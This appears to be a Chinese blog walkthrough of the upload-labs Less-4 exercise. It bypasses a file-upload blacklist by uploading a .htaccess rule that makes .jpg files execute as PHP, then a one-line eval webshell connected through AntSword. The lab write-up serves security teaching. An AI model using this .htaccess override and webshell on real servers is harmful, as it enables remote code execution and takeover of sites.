天天看點

檔案上傳之 .htaccess檔案getshell

檔案上傳之 .htaccess檔案getshell

    • .htaccess檔案
    • http.conf檔案(前提條件)
    • 利用htaccess檔案getshell
      • 源碼分析
      • 建立.htaccess檔案
      • 上傳.htaccess檔案
      • 上傳一句話木馬
      • 擷取絕對路徑
      • 蟻劍getshell

.htaccess檔案

在站點的根目錄下面,不是在apache目錄下

htaccess檔案時Apache服務中的一個配置檔案,它負責相關目錄下的網頁配置。通過htaccess檔案,可以幫助我們實作:網頁301重定向、自定義404錯誤頁面,改變檔案擴充名、允許/阻止特定的使用者或者目錄的通路,禁止目錄清單,配置預設文檔等功能

其中.htaccess檔案内容:SetHandler application/xhttp-php的意思是設定目前目錄所有檔案都使用php解析,那麼無論上傳任何檔案,隻要尼爾符合php語言代碼規範,就會被當做PHP執行。不符合規則則報錯

http.conf檔案(前提條件)

在此檔案中設定 AllowOverried All ,才能使用.htaccess檔案

檔案上傳之 .htaccess檔案getshell

利用htaccess檔案getshell

實驗環境:upload-labs 的 less-4

下載下傳位址:https://github.com/c0ny1/upload-labs

如果在一個黑名單中添加了很多字尾名,唯獨沒有對htaccess過濾,可以直接上傳.htaccess來設定使用php解析任意檔案。

<FilesMatch "\.jpg">
  SetHandler application/x-httpd-php
</FilesMatch>
           

源碼分析

對php,asp,jsp等進行過濾,大小寫的方式也不行

但是可以上傳.jpg檔案,可是 .jpg隻有解析成.htaccess檔案才能getshell

是以我們還需要上傳 .htaccess 檔案

檔案上傳之 .htaccess檔案getshell

建立.htaccess檔案

在本地建立一個.htacces檔案,輸入以下内容,**然後點選另存為,将儲存類型設定為所有檔案

檔案上傳之 .htaccess檔案getshell

上傳.htaccess檔案

由于沒有對.htaccess檔案進行過濾,是以我們可以上傳.htaccess檔案

上傳一句話木馬

儲存為 stack.jpg 檔案

<?php eval($_POST['a']); ?>
           

擷取絕對路徑

通過burpsuite抓包的方式得到上傳的路徑:http://127.0.0.1/upload-labs-master/upload/stack.jpg

做法如下:

  1. 點選response to this reuqest ,再點選forword,得到響應包
檔案上傳之 .htaccess檔案getshell

2. 觀察響應包的内容

檔案上傳之 .htaccess檔案getshell

這樣就得到了絕對路徑

蟻劍getshell

檔案上傳之 .htaccess檔案getshell